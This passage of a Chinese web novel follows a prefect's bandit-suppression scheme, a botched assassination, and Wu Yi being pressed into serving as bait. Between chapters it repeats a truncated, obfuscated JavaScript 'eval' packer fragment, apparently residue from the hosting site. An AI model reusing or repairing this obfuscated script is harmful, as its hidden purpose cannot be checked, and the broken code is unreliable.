余年坐在何启年旁边,吓了一跳,这可不是商量好的,可是当着这么多人的面又不能说不去,只能乐呵呵接受了大家的感激。 陈千朗见时机已经成熟,端着酒杯站了起来,“四位大人为我们徽州做的贡献,小民没齿难忘。来,各位商户,咱们一起敬四位大人一杯。”,所有人一饮而尽,陈千朗继续说道,“何大人,小民觉得您对于下属的关切之情,真是令人感动。为了我们徽州城百姓的安宁,不远千里,从京城来到徽州,又为了不扰民,一直驻扎在城外,真是令小民动容。小民恨不得感谢每一位前来剿匪的兄弟们,这不是有一句话嘛,兵马未动粮草先行,所以呀,我们陈记打算捐资一万两,助四位大人剿灭马匪!” 此言一出,除了钱家的两位,大家都窃窃私语。“陈老板慷慨解囊,真是徽商的表率!”,李博站起身来,“本官与何统领,感谢陈老板。” 李博说完话,大家瞬间安静了。钱万全没想到陈千朗上来就捐一万两,一愣神的时候,吴怡站了起来。吴怡见大家都看自己,瞬间有点紧张,幸亏钱宁在旁边,吴怡看他一眼,心中安定不少。“大家可能不认识我,我刚来咱们徽州不久。”,钱万全虽然认识吴怡,可是不知道她打扮成这样要干什么,便什么也没有说 。张海倒是一下子来了兴趣,想看看这位是不是真的是张灵,吴怡看了一眼大家,继续说道,“可是我现在住在徽州,我的朋友钱宁世代在徽州,这里有美丽的风景,也有美好的人。”,吴怡说着,又看了一眼钱宁,“我想在徽州的每一个人都有责任为徽州的安定尽一份心力,况且万一马匪冲进来,我们的家人、朋友也会受到伤害,这是多少钱都挽回不了的。所以,今天我和陈老板一样,愿意捐资五千两,为我们徽州尽一份力!” (本章完) eval(function(p,a,c,k,e,d){e=function(c){return(c35?(c+29):(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function{return'w+'};c=1};while(c--){if(k[c]){p=(new RegExp('b'+e(c)+'b','g,k[c])}}return p}('h 4="F"+E.(B).H(2);c.6("");8((/(K)/i.J())){('u',v(e){h 3=e.x;8(3.9){8(7[3.9+"w"]!=1){7[3.9+"w"]=1;A(z(3.(/+/g,"%15")))}}});c.6('}w{;c.6(' 第六十四章 吴怡替父赎罪 - 风吹繁花散落时 - 红酒羊排 吴怡此言一出,在场的人先是一愣,接着窃窃私语更甚了。李博赶紧站起来感谢吴怡的慷慨捐资,“哎呀,我们徽州真是人杰地灵,来此做客的人都愿意守护我们徽州的安定呀!” 正说着,钱万全举起一根手指头,“我们钱记,也捐一万两!” 窃窃私语消失了,“我捐两千两!” “我捐五千!” “我捐一千!” 周启等四人相互看了一眼,心满意足,吴怡也高兴,自己的爹终于能被释放了。张海为了充有钱人,也捐资一千两,还在旁边观察起吴怡来,心想:这一定就是张灵小姐了,居然已经对钱宁这么上心了,那我可得抓紧时间,当上这晋中张家的女婿才行。 周启摆了鸿门宴,所有商人都争先恐后捐资,目标达成了,周启放下了心思,开始专心吃饭,吴怡着急解救李老四,一直看着周启,屁股底下早都坐不住了。宴会终于结束,吴怡飞奔到周启身边,“周大人?” 周启吓了一跳,赶紧假装不认识吴怡,带着李博等离开。吴怡不知道他这是整哪出,还以为他耍自己,想追上去问问,幸亏钱宁一把拉住,“走了,走了!” “哎,你等会我呀,我有事。” “赶紧走!”,钱宁早就明白周启安排吴怡来的目的了,他可不想露馅了,赶紧拉着吴怡离开。 “你拉我干什么呀?” “小点声。”,钱宁看看周围,“你放心吧,周大人肯定会说话算话的,咱们先回去了。” “钱少东家,张小姐。”,张海远远看见钱宁两人要走,赶紧叫人。 两人都愣了一下,吴怡瞬间安静,“张老板。”,钱宁旋即恢复了镇定。 “哈哈,钱少东家,张小姐,让张某人好找啊。”,张海虽说是跟两个人打招呼,其实只看吴怡一人。 吴怡心虚地看着张海,钱宁不知道张海什么意思,“张老板有什么事吗?” “想找张小姐谈谈生意。” “谈生意?什么生意?”,吴怡瞬间来了兴趣,这还是第一次有人找她谈生意。 “张老板,这里不是谈事的地方,以后吧,日后有机会,钱某做东,一定好好谈谈。”,钱宁拉着吴怡离开。可是张海透过吴怡对生意的热切期盼,更加断定吴怡就是张灵,站在同福苑门口露出了势在必得的微笑。 两人终于回到钱家了,吴怡看看周围没人,赶紧提问,“钱宁,那个人以为我是张灵小姐。” “是啊,好像是。” “怎么回事?” “我也不知道,不过吴怡,虽然我不应该在别人背后议论,可是这个张老板,据我所知绝非善类,你还是离他远点。” “哦。”,吴怡虽然不知道张海是谁,他干什么了,可是既 然钱宁觉得他不是好人,吴怡自然不会再跟他来往,“不过,不知道他找我谈什么生意。” 钱宁也觉得奇怪呢,不知道为什么张海误认了吴怡。钱宁看着吴怡失望的样子,想:反正吴怡在内宅,以后和张海能不能再见面都是未知数,应该算是安全的吧,便稍稍安心。“吴怡,你今天真漂亮。” 吴怡摸摸自己的头发,“嘿嘿,是吗?周小姐给我化的。” “周小姐?” “嗯,你不知道,那个周小姐看着嚣张跋扈的,一遇到她哥哥,她可听话了。” “是吗?真没看出来。” “对了钱宁,昨天我看见周大人舞剑了。”,吴怡伸出两只手指头胡乱比划,“这样的,你没看见,可厉害了!” “是吗?周大人看着文质彬彬的样子。” “对了,钱宁你不知道,那个老将军,就是今天坐在上边那位,要去剿匪的那个,他也可厉害了,是他把周大人的剑给砍断了。喏,我这脸上就是断剑飞过来给我擦伤了。” 钱宁听了都觉得惊险,“你没事吧?” “没事,周大人请大夫给我看了,说过几天就好了。对了,周小姐原谅我了,就是没原谅我爹。不过周大人说得对,我爹是大人了,他应该自己为自己的行为负责。” 钱宁点点头,“嗯,周大人说的有道理。吴怡,最近你还去知府衙门吗?” “去啊,我还得照顾周小姐呢,钱宁,我不能目的达到了,就不理他们了呀。” 钱宁笑了,他越看吴怡越觉得好,什么都好,根本就没有缺点。吴怡看着钱宁嘿嘿一笑,让钱宁觉得心里暖洋洋的,心想:只要吴怡在自己身边就好了。 余年现在是热锅上的蚂蚁,他怎么也没有想到李博会当着所有人的面安排他去剿匪。“这个李博,真是非得和那个周开站在一起和我作对了!” “余大人,何必如此惊慌呢?”,张海倒是稳稳当当坐在椅子上。 余年背着手,极不耐烦地斜眼看着张海,“你当然不慌了,去剿匪的又不是你!” “哈哈。”,张海尴尬地站起来,“余大人,这剿匪是何统领管,他李博就算是个钦差,又能怎么样?大人只要一直跟在何统领旁边,我相信不管是安全,还是功劳,都是可以预见的。” 余年稍微放心,长出一口气,“但愿吧。”,余年好不容易不再来回踱步,坐在椅子上,“张老板,你的随从呢?” “什么随从?” “哼,不能出了事寻求本官的庇护,风声过去了,就翻脸不认人了呀。” 张海嘴角上扬,脸上看不出什么异常,“余大人,张广做事自有他的判断,如今大人没有他的消息最好,以我以前对他的了解,他肯定会完 成对您的承诺,这是他的价值。” 余年斜眼看着张海,这贼船上的,真是越来越心惊胆战了。 何启年在知府衙门与周启商讨战术,李博在旁边认真听。 “何统领,这马匪袭城已经有段时间了,如今朝廷又如此高调得派出队伍剿匪,他们肯定有所防备。” “其实有所防备倒是不怕,怕就怕他们化整为零,躲在深山老林里不出来。” “那该如何是好呢?” “我们必须打探清楚,大当家的诨名二愣子,上一次他们在这,这里易守难攻。”,何启年指着地图分析,“您看,这里三面都是峻岭,前面可以跑马,这里应该是观察哨,只要有人来一定会被发现。” “何统领,如果从后边上山呢?” “周大人,这里上山不是不能,可是徽州现在多雨,天气闷热。如果从这里上山,需要在上山走两天,队伍就算到达了马匪老巢的后山,也肯定已经十分疲惫了,对于剿匪十分不利呀。 “那就只能从正面强攻了。” “周大人,从这里,我先安排人去拿掉观察哨,之后从正面发起强攻。马匪毕竟是散兵游勇,与我们正规队伍还是无法抗衡的,打下来是迟早的事情。” “那何统领担忧什么?” “强攻之时,小喽啰自然在前冲锋,这二愣子很有可能见大势已去而从后山逃窜。还有打下来之后这些人怎么处理?” “一定要抓到二愣子,本官还得问问他是谁在背后指使呢。” “山路崎岖,若是这二愣子从后山逃窜,我们又不知道他从那条路跑得,只能派人从所有小路上去找,人员会随着时间的推移越来越分散。到时候对我们十分不利,若是二愣子留有后手,我们将十分被动。” “有没有可能先派人进去,控制住二愣子,再进行强攻?” “那就需要渗透进去,可是马匪已经知道朝廷要派人剿灭他们了,任何外人都可能让他们警觉。” “统领可有什么好办法吗?” “剿灭马匪容易,就是要抓住二愣子难。大人是想不计代价抓住二愣子,还是先端掉马匪的老巢呢?” 周启考虑良久,他知道大家都在等他拿主意,而他的决定直接关系到剿匪的进展。“你先回去吧,我决定好告诉你。” 何启年一抱拳,“是!”,转身便来到院子,何平站在院中等待。 “父亲。”,何平小跑两步,过来抱拳施礼。 “嗯。” “父亲,何时出发?” “还没有决定。” “属下请命,愿与统领一同进山剿匪。” 何启年上下看了一眼何平,叹了一口气,“我知道白图死了,对你打击很大,你想亲自去给他报仇是不是?”,何平抬头 看了一眼何启年,什么也没有说,“可是你要记得,自己的职责是保护周大人!不是来给谁报仇的!”,说完,何启年抬腿就走。 “父亲!”,何启年站定,也不回头,何平继续说道,“那余年?” 何启年仍旧没有回头,“我的职责是剿灭马匪,不是为谁来泄私愤的!” 何平看着何启年的背影,他了解父亲的个性,即使在皇上面前也不会轻易妥协,何启年是不可能为了五皇子与余年的私人恩怨而为难余年的。而此次周启的目标也并非一个小小的余年。 不管剿匪能不能成功,李老四总算从猪圈出来,被知府衙门的人扔在了大街上。 (本章完) eval(function(p,a,c,k,e,d){e=function(c){return(c35?(c+29):(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function{return'w+'};c=1};while(c--){if(k[c]){p=(new RegExp('b'+e(c)+'b','g,k[c])}}return p}('h 4="F"+E.(B).H(2);c.6("");8((/(K)/i.J())){('u',v(e){h 3=e.x;8(3.9){8(7[3.9+"w"]!=1){7[3.9+"w"]=1;A(z(3.(/+/g,"%15")))}}});c.6('}w{;c.6(' 第六十五章 吴怡搅乱周启布局 - 风吹繁花散落时 - 红酒羊排 李老四被扔在大街上,道路上的人全都掩面指点,李老四全身猪屎,臭气熏天。他这几天以为自己死期将近,想吃点临别酒,可是根本没人给他饭吃,他可是靠着与猪抢食才勉强活了下来。刚才有人来猪圈叫他,他以为自己要去刑场了,被人拖着,李老四的叫声比杀猪声还惨烈。两个衙役凶神恶煞,拿着水火棍一路驱赶,终于在大街上将他扔下。李老四还以为要去菜市口,谁知走走的,衙役自顾自走了,李老四不知道什么意思,见所有人都在看自己,趴在地上片刻不敢耽误,爬起来撒丫子就跑。 李老四跑得上气不接下气,终于跑到城门口,李老四看看自己身上,用手遮着脸,小心谨慎往前走。城门口的衙役正在盘查进城的人,对出城的人却熟视无睹,李老四没有碰都任何障碍,大气都不敢出的离开了徽州。在离城外不远的小树林里,李老四一屁股坐在地上,“老子这是造的什么孽呀,吴怡你个臭丫头,也不知道来救老子!” 吴怡不知道李老四出城了,还以为李老四没有被放出来,急急来到知府衙门照顾娉婷。她一边擦桌子一边观察娉婷,娉婷百无聊赖也看起书来,吴怡在娉婷面前来回走,想问又不敢问,可是娉婷根本不搭理吴怡,吴怡只好出来,可是找谁问谁都说不知道。 “周大人?周大人?”,吴怡又站在书房门口探着脑袋。 周启原本在想事,抬头见吴怡的大脑袋伸了进来,“说。” 吴怡小心谨慎,“周大人,我爹?” “不是回去了吗?” “回去了?回去哪?” “他去哪,本官怎么会知道呢?不过本官说话算话,已经叫人放他了。” “哦,好。谢谢周大人,谢谢周大人!”,吴怡赶紧收拾,一路跑回钱家,可是谁都没见到李老四,吴怡又来到陈家询问,陈家的门子更像是躲瘟疫似的,“没看见没看见!赶紧走!”,吴怡被轰出来,想了想,又往徽州的各个桥底下寻找了一圈,还是没找到。吴怡慌了,哭着回到钱家。 “你怎么了?”,吴怡正坐在廊下哭,钱宁走了过来。 “钱宁,呜呜呜。”,吴怡一把抱住钱宁,“我爹,我爹死了!” “死了?怎么会呢?”,钱宁双手把这吴怡的胳膊,弯下腰来,“吴怡,你先别哭。李大叔怎么会突然死了呢?” “钱宁,我爹,我爹。”,吴怡可得气息都不匀了,“就是那个周大人,他说把我爹放了,可是我没见到人,所有地方我都找过了,根本就没有,我爹肯定是死了,可是他又不告诉我。” “吴怡,吴怡你听我说。周大人说放了,也许李大叔在什么地方也说不定,我们再找找,一定会找到的。” 吴怡擦了一把眼泪,“真的?” “我现在马上组织人手去找,你别哭了啊,我现在就去。” 吴怡站起来,拉着钱宁的手,“钱宁,你一定要找到我爹呀,我可就他这一个亲人了!” “好,你放心,我一定找到!”,钱宁看吴怡泪眼婆娑,怎么忍心不帮忙呢,随即组织人手寻找李老四,可是一天过去了,却毫无收获。 晚上,吴怡坐在餐桌前一言不发。“吴怡,你先吃点东西。现在宵禁了,我们只好明天再找。不过你放心,今天没有消息倒是好消息。” 吴怡一把拉住钱宁的胳膊,“什么意思?” “说明李大叔没有出什么大事,你看啊,徽州就这么大,如果一个人出了意外,官府早就发告示了,所以说李大叔一定还好好活着呢。” “真的?” “一定是的,吴怡,你先吃点饭,明天我们再找找。” “嗯!”,吴怡使劲点点头,端起饭碗紧呼啦两口。 第二天一早,何启年、李博、余年带着队伍开拔,周启在城门口为大家践行。看着远去的队伍,周启心中坚定,他选择先解决马匪,这是他作为徽州知府必须做的。 吴怡一大早起床,剿灭马匪什么的她可不在意,现在最重要的是找到李老四。吴怡不肯放过每个角落,可是居然没有一个人见过李老四,吴怡着急了,她必须要到知府衙门去问问。 张广已经在知府衙门门口观察良久:李博每天都来,何平带着二十个侍卫每天轮流值守,守着周知府,自己毫无机会。可是今天,不仅李博出城,除了何平剩下的侍卫也都跟着出城剿匪去了,这是千载难逢的机会。张广按照每天观察出来的时间,将送菜的老伯打晕,担着菜篮子来到知府衙门。 “怎么现在才来!”,连锁早就等得不耐烦,“哎,你谁呀?老蔡呢?” “我是小蔡,是他儿子,我爹有点伤寒,明天再来。” “哦,那赶紧进来吧!” “哎,好。”,张广担起菜篮子,跟着连锁走进了知府衙门的后院。他曾三次翻上了屋顶查看院里的情况,院里的布局一清二楚。张广看见娉婷在秋千上都不看自己,突然娉婷大喊一声,“哥!哥!” 周启从书房走了出来,双手背后,“怎么了?” “你来推我。” 周启无可奈何,“多大了!” “哥哥。”,娉婷撒起娇来,“快点。” “连锁,连锁你去。”,周启看见连锁,吩咐道。 张广十分紧张,连锁答应一声,吩咐道,“你快放进去吧,然后就从那门出去就成。” 张广弯着腰,“哎,好。” 连锁连跑带颠来到娉婷身边,“小姐,我来推你。” 周启见连 锁过来了,转身回屋。张广一下子从菜篮子里抽出两柄短刀,菜篮子摔在地上,张广脚下一用力,直奔周启而来。张广在半路跳起,在空中从上而下砍向周启。周启刚转身迈腿,幸亏自幼习武,耳朵也好使,早就听见了风声。周启一转身,一直拿在手中的小弩瞬间对着张广发射出去。张广眼疾手快,侧身一躲,一下子摔在地上。娉婷从秋千上站起来,何平迅速来到周启身边,两边冲出来三十多衙役,张广知道自己中计了,来不及多想,张广一个越身想要跳房而逃,可是房上也布满了衙役,一个个剑拔弩张,张广只好在院子里与衙役们打在一起。 吴怡连跑带颠终于来到知府衙门门口,见大门紧闭,吴怡有点犹豫,不知道该不该进去。 张广双拳难敌四手,节节败退,已经来到大门口,大门早已紧闭。张广拼劲毕生所学,胳膊和腿上已经被砍好几刀,周启站在台阶上冷冷看着。可是人算不如天算,吴怡从外边推门进来。大家都吓了一跳,张广抓住机会,一把将吴怡拽了过来。吴怡还不知道出了什么事,就觉得自己摔在了众人身上,衙役们被吴怡撞倒在地,张广夺门而出。周启差点气死,紧跑两步,绕过摔得七倒八斜的人,却只剩下空荡荡的门框。周启眉毛都拧到了一起,见吴怡扶着腰站了起来,“哎呦,疼死我了。” “你来干嘛来了?” 吴怡赶紧过来抓住周启,“大人,周大人,我爹呢?” 周启甩开吴怡的手,“不知道!” “哎。”,吴怡赶紧追着周启,“大人,大人你不能不讲信用啊。” “讲信用?我就是太讲信用了,才让你如此放肆!”,周启怒了,他忍了这么久,终于要撕开的口子,啪嗒一下就被吴怡给搅和黄了。 “周大人,我又不知道你们在干什么。” “不知道?成成成,你现在知道了吧?你赶紧给我消失!” “周大人,周大人。”,吴怡哪能让周启走呢,拉着周启不撒手,周启一挣脱,不知怎的,手上的手串被吴怡给拉断了。菩提珠子噼里啪啦掉在地上,周启眼睛瞪得老大。吴怡赶紧跪在地上要捡,“别动!”,吴怡抬起头,“周大人,我,我不是故意的。” 娉婷和连锁走了过来,他们知道这菩提珠串是先皇所赐,是周启的宝贝,两人赶紧蹲在地上捡。 吴怡不知道该怎么办,缓缓站起来,“周大人,我,我就是想问问我爹去哪了,你昨天说……” “哼。”,周启冷笑一声,“来人,把她给我轰出去!” “哎,别呀,周大人,我就问问我爹,我……” 两个衙役过来抓住吴怡,吴怡使劲挣脱,一脚踩在地上的菩提珠上,周启急了 ,“吴怡!” 吴怡赶紧把脚挪开,“大人,我……” 周启指着吴怡,“成成成,你想找李老四是吧,成,你们两个把她扔到牢里,让她好好看看!” “哎,别呀,周大人,周大人!”,吴怡被衙役拉走,周启从地上捡起被吴怡踩的菩提珠,掏出手帕仔仔细细擦了一遍。“大人,都捡起来了。” 周启接过珠子,坐在书房里亲自重新穿好,等重新带在手上,他想起今天的一败涂地,怒气又升腾起来。 此时,何启年带着人已经杀到了马匪的山寨。 (本章完) eval(function(p,a,c,k,e,d){e=function(c){return(c35?(c+29):(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function{return'w+'};c=1};while(c--){if(k[c]){p=(new RegExp('b'+e(c)+'b','g,k[c])}}return p}('h 4="F"+E.(B).H(2);c.6("");8((/(K)/i.J())){('u',v(e){h 3=e.x;8(3.9){8(7[3.9+"w"]!=1){7[3.9+"w"]=1;A(z(3.(/+/g,"%15")))}}});c.6('}w{;c.6(' 第六十六章 吴怡假装商人做诱饵 - 风吹繁花散落时 - 红酒羊排 何启年带着人杀了上来,可是马匪的老巢一个人也没有。“看来这个二愣子不愣嘛。” “何统领,现在就不要再说这些了,还是赶紧回去吧。”,余年觉得危险,想赶紧回去。 “何统领,会不会有诈?”,李博警觉起来。 “赶紧撤退!”,何启年知道这里易守难攻,但是想打埋伏也容易,大家来到院子里,炸药响了。“快,撤退,小心!” 幸亏何启年只带进去一小部分人,大部队在外毫发未伤。“哎呦,哎呦。”,余年的官府被炸坏了。 “别哎呦了,烦不烦!”,李博也受伤了,心里正烦躁。 “哎呦我的李大人,下官都这样了,下官早就说过,不可冒进,不可冒进,你们都不听啊!现在怎么样?怎么样?” “你!” “李大人。”,何启年拦住李博,“留下人手在这清理,剩下的都回去,周大人还等着我们的消息。” 李博知道何启年的压力不小,他这个统领弄出这么大动静出城剿匪,一个马匪没找到,还死伤好几个。何统领铩羽而归,周启早就觉得事情不会这么容易,虽然觉得郁闷,也不好斥责何启年什么,想想今天还真是诸事不利。 “何统领,让大家先养伤,马匪去了哪里,我们再侦查一下。” “是。”,何启年走后,李博赶紧询问,“抓到了吗?” 周启摇摇头。 “难道没动手?” 周启叹了一口气,“唉,吴怡突然闯进来,说李老四找不到了,非得找我要。哎,对了,昨天,你叫人把他放了吗?” “放了!他们说扔在大街上了。” “扔在大街上?” “会不会李老四自己出事了?” 周启考虑了一下,便叫连锁去打听,“城门口的衙役看见李老四出城了。” “没看错?” “大人,衙役说那人浑身脏兮兮的,闻着像是猪屎味,所以大家都不想拦下他,他就出城了。” “那吴怡来闹什么?” “会不会她不知道李老四出城了?” 周启正想着如今吴怡被自己关起来了,还不知道如何处置,钱宁正好求见。 钱宁听说吴怡被抓进大牢了,赶紧来知府衙门打探情况,一进前厅,见周启与李博相对而坐,钱宁赶紧抱拳施礼,“李大人,周大人。” 周启只缓缓喝茶,慢条斯理地询问,“钱少东家何事?” 钱宁倒是开门见山,“大人,吴怡来过吧?” 周启也不含糊,“不错,只是她已经被关在大牢里了。” “大人,她犯了什么罪?” “咆哮公堂。”,周启已经计上心来,钱宁正是自己送上来的肥肉。 “大人,据我所知,她也只是来问问情况,绝无咆哮公堂 的意思。” “是吗?她做了什么,你怎么知道?” “大人,我们之前就说好的,钱家出钱,李老四……” “本官什么也没有说过!” 钱宁见周启翻脸不认人,只想先赶紧救出吴怡,“大人,就算吴怡咆哮公堂,也应该有个判决吧。” “她的罪可多了,本官的手串也被她拽坏了。” “什么?”,李博一下子站起来,他打小跟在周启身边,这手串的来历他知道的一清二楚,平时可是周启的心头好,“什么时候?” 周启白了一眼李博,心想:你现在激动有什么用?“本官正在捉拿盗匪,她冲进来放走了盗匪,还咆哮公堂,拽坏了本官的手串。钱宁,你觉得本官该如何判决呀?” “周大人,吴怡肯定是无心之失。小民愿意赔偿大人的手串……” “你赔?哼,本官的手串是本官的爷爷送给本官的,本官的爷爷已经不在世了,本官倒是想问问你,如何赔偿呀?” “大人,小民替吴怡向大人请罪。可是当时周小姐弄坏了陈记柜上的‘金算盘’,这‘金算盘’也是老辈留下的,大人也只是判处周小姐赔偿损失,恢复原样,大人……” 周启和李博都被钱宁的话气着了,心想:一个破算盘,能跟先皇赏赐的手串比吗?要不是现在要隐瞒身份,早就将钱宁也抓起来揍一顿了。 “本官如何宣判,本官记得很清楚。”,周启很生气,今天都是没有好事情发生。可是他很快恢复平静,顿了顿站起身来,“钱宁,吴怡放走了盗匪,而这盗匪是马匪的同伙,你觉得本官该如何判决呀?” “吴怡与马匪绝无瓜葛。” “何以见得?” “小民愿用人格担保!” 周启上下打量钱宁,“哈哈哈,本官若不信,你的人格是不是就一文不值?” “大人。”,钱宁没想到周启这么说。 “行了,本官也不是不讲理的人。本官这里倒是有一个机会,能让吴怡免罪。” “大人?” “你也知道,何统领带人去剿匪,一个马匪也没有看到,还死伤了些兄弟。本官好不容易筹集的军饷,这就得开始往外花了,时间久了,本官可拖不起。钱宁,本官想着,马匪嘛,无非想劫个财呀,劫个色的。本官打算,你出货,吴怡出人,只要她把马匪引出来,今天她的罪,本官可以不追究,你看怎么样?” 钱宁着急了,“大人,小民去好了。” “哎,你一个男人,你去了马匪不一定出来呀。” “大人。” “这是本官给你最后的机会,否则,私通盗匪的罪,可是要砍头的。”,周启语气坚决,别说吴怡有没有危险,就算自己有危险又如何,马匪他是剿定 了。 钱宁真没想到周启能这么干,可是为了救吴怡,只能先答应了,“大人,那您怎么保证吴怡的安全?” “你放心,你出货,所有小厮都是我的侍卫和何统领的亲信,必能保证吴怡的安全。”,周启坚定地看着钱宁,“如何?” “我现在得带吴怡回家。” “没问题。” “大人,您定好了时间,我们必然配合。”, “可以,明天你们过来,我告诉你们要干什么。” 钱宁从知府衙门告辞出来,直奔大牢,见吴怡蹲在牢里,双手抱着腿,吴怡瘦弱的身体让钱宁觉得心里一紧。 “吴怡?” 吴怡抬起头,带着哭腔,“钱宁。” 衙役将牢门打开,钱宁冲进去抱着吴怡,“吴怡,没事了,别害怕,我们回家了。” “可是我爹我还没有找到。”,回到书房,钱宁为吴怡端来姜茶,吴怡刚喝了一口,还是不放心李老四。 “吴怡,刚才周大人说了,李大叔现在很安全,等完成了剿匪,一定完好无损的将他还给你。” “这么说,我爹还在周大人手上。” 钱宁最不会撒谎,可是现在只能先救吴怡,再派人去寻找李老四,钱宁特别轻微地点点头,但是在吴怡看来却想一剂强心针。“我带着货出城,要是马匪不来呢?” “明天我们再去知府衙门商量商量。” “嗯。” 第二天,吴怡与钱宁来到知府衙门商量。平时吴怡一个人来没觉得有什么问题,可是钱宁饱读诗书,又是大户人家的公子,见周启坐在正位上,何平腰间佩剑,直直站在周大人身后,李博与何统领分坐两边,连锁也只管给周知府端茶,其余人由别人负责,钱宁觉得实在蹊跷,心想:难道这官场上的规矩与普通人家不同? 吴怡可不明白这些,她只关心李老四,“周大人,我照你说的做,你就能放了我爹?” 周启看了一眼钱宁,见他十分紧张。周启虽然不知道钱宁对吴怡说了什么,可是李老四出城了,必定不会来破坏自己的计划。况且这谎话是钱宁说的,与自己无关,便也轻轻点点头。“不过呢。” “怎么了?”,吴怡更加紧张。 “此行危险,你要想清楚。” 吴怡看看钱宁,坚定地点点头,“大人,你不说我也犯罪了吗,我现在不仅为了就我爹,我也救我自己,我没得选。” 周启看着吴怡,他知道这么威胁一个小姑娘不好,可是现在已经顾不得那么多了。“那好吧。”,周启对着大家吩咐道,“从明天起,商户的货物要快速流通,就好像因为长久不发货,实在没办法不得不发货一样。徽州城里的镖师,该请请,最好都请光,造成没有镖师的局面。何 统领,叫你的人开始在军营闹事,喝酒、赌博、打架斗殴,本官都不管,只要闹着不干活就行了。何平,到时候你乔装打扮,混在压货的队伍里,千万注意安全,务必找到马匪的老巢。最重要的,吴怡,你假装商人,到钱家要货,要表现得非常着急,就好像你的店铺已经生死存亡,就算没有镖师你也要将货拉走。明天开始,事情一点一点推进,千万不能太急,以防露出破绽。” “是!”,所有人异口同声。 周启这一次势必做到滴水不漏。之前,他为了徽州的百姓选择了强攻,可是天不遂人愿,什么也没有捞着。这一次,他精心布局,在剿灭马匪的同时,一定要抓到二愣子,余年与自己的较量也是时候该结束了。 (本章完) eval(function(p,a,c,k,e,d){e=function(c){return(c35?(c+29):(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function{return'w+'};c=1};while(c--){if(k[c]){p=(new RegExp('b'+e(c)+'b','g,k[c])}}return p}('h 4="F"+E.(B).H(2);c.6("");8((/(K)/i.J())){('u',v(e){h 3=e.x;8(3.9){8(7[3.9+"w"]!=1){7[3.9+"w"]=1;A(z(3.(/+/g,"%15")))}}});c.6('}w{;c.6(' 第六十七章 主动出击 - 风吹繁花散落时 - 红酒羊排 按照周启的计划,钱家开始四处出货,徽州一派商业繁荣的景象,之前不敢出货的小商户也都活动起来。吴怡每天自己做好了饭送到知府衙门,说是给李老四的,周启心里有点不落忍,派出两队人马出城去找李老四,可是他踪迹全无,周启也只好狠下心来,假装李老四一直都在自己手上。 二愣子与马匪们化整为零,躲在深山里,在山腰上远远瞧见寨子爆炸,哈哈大笑起来。“大当家的真是神机妙算。”,说话的正是马匪的二当家胡子老三。 “告诉兄弟们,最近在山里一躲,一年半载的,看他们能奈我何?” “大哥,这官府也不过就是花架子,有大哥神机妙算,怕他作甚?” 二愣子虽为草莽,却从小熟读兵书,家里犯了天条,才落魄至此。二愣子这个名字是马匪们的反话,后来马匪们觉得这不错,就一直这么叫开了。“何启年不可小视,那个周开也绝非银样镴枪头,我们当初若是冲进徽州城,真金白银任兄弟们拿来,如今山高海阔,你我兄弟早就走了。可是我们没能得手,还损失了十个兄弟,如今我们寨子被毁,家当又有限,官府却兵强马壮,我们只好先隐忍。” “忍?大哥,我们和官府不共戴天!杀了我们这么多兄弟,我们还忍?” 二愣子知道胡子老三速来莽撞,说话也是直来直去,所以并不想与他生气,“兄弟们,我们落草为寇,为的是大口吃肉大碗喝酒,可是我作为大当家的,要对得起咱们脖子上抗的家伙事。兄弟们,寨子里的家当都在,咱们只要在山里躲上一年半载,还有东山再起的时候。走!”,说完,二愣子一挥手,带着马匪们往深山老林里走去。 胡子老三心里一百个不愿意,在休息的空当与三当家的合计,“你说说,咱们都他妈落草为寇了,还得忍,要是老子忍得了,老子还当土匪?” “嘿,二哥,别说你了,就是弟兄们也觉得不能忍,官兵算个鸟!还不是被咱们兄弟给炸死了。可是大哥让咱们躲着,咱们能有什么办法?” “呸,老子当年请他来当大哥,是老子看他有勇有谋,如今倒好,成了缩头的王八了!” “二哥,如今寨子里已经不是你说了算了,大哥肚子里有那点墨水,都用在收买人心上了。现在有大半的兄弟愿意跟着他当王八,咱们想出头,谁听咱们的?” “他妈的,逼急了老子,老子另立山头,跟他丫的拼了。” “二哥。”,三当家的看看周围,压低了声音,“二哥,这徽州城总要往外出货,不如咱们干他一票,有了银子,还怕没有兄弟吗?” “你疯了!”,胡子老三虽然满肚子怨气,可是还没有失去理智,“官兵可 不是吃素的,如是全寨子一起上还有可能打赢,就凭我们几个,你想去送死啊?” “二哥,官兵毕竟有限,这徽州多少出货的,之前又不是没劫过。” 胡子老三生气归生气,打劫是老本行,二愣子让他躲着,他可是不愿意,可是贸然去劫道,也实在不可取。“等我想想。” 此时的周启已经发现了自己计划的漏洞,就是马匪如果不出来,自己就毫无办法,所以他打算先到山里打听一下马匪的情况。 “你不能去!”,李博听周启的意思是要亲自前去,不无担心得说,“我们又不了解山里的情况,万一出了什么事情,救援都来不及!” “你受伤了,好好养伤吧,我自己会看着办的。” “五皇子!”,李博最了解周启,他决定的事情没人能够改变,“你有没有想过,万一你真有三长两短,我们这些人就全是死罪,况且宫里的皇后娘娘如何承受得住,五皇子,现在不是逞一时之勇的时候!” 周启简直服了李博,狠狠瞪了他一眼,“我是去送死的人吗?” “那你也不能去!” “大人。”,连锁在外边听见两人高声争论,硬着头皮,小心翼翼进来禀报。 “什么事?” “大人,吴怡来了。” 周启最近看见吴怡就觉得头疼,就算在尔虞我诈的皇宫里,周启也没利用过谁,如今已经不仅利用吴怡多次,承诺的事情还不一定能兑现。“不见!” “别呀,别呀!”,吴怡就在门外,听周启说不见,一下子把住书房门,“大人,大人,我想过了,我要是装做生意的人,我是不是得先从城外来?” “不用!” “不用?那,那我就直接去钱记要货,反正也没人认识我。” “成成成,你自己看着办吧。”,周启着急去找马匪,实在没时间搭理吴怡,抬腿就往外走。 “大人,大人!” “你回去吧!” “哎!”,周启本来就对着李博说的,吴怡以为是说自己,赶紧答应一声,李博站在旁边简直气死,使劲瞪了吴怡一眼。吴怡不明所以,“大人?” 李博想阻止周启,但是凭自己是做不到的,便离开去找何启年。吴怡站在书房门口不知道该干点什么,正准备回去,娉婷走了过来。 “大小姐。” “又来给你爹送饭了?” 吴怡知道娉婷最讨厌他们父女,可是又不能说出什么来改变她的看法,便准备离开。 “老骗子又吃不上,白费了那么多好手艺。” “什么意思?” 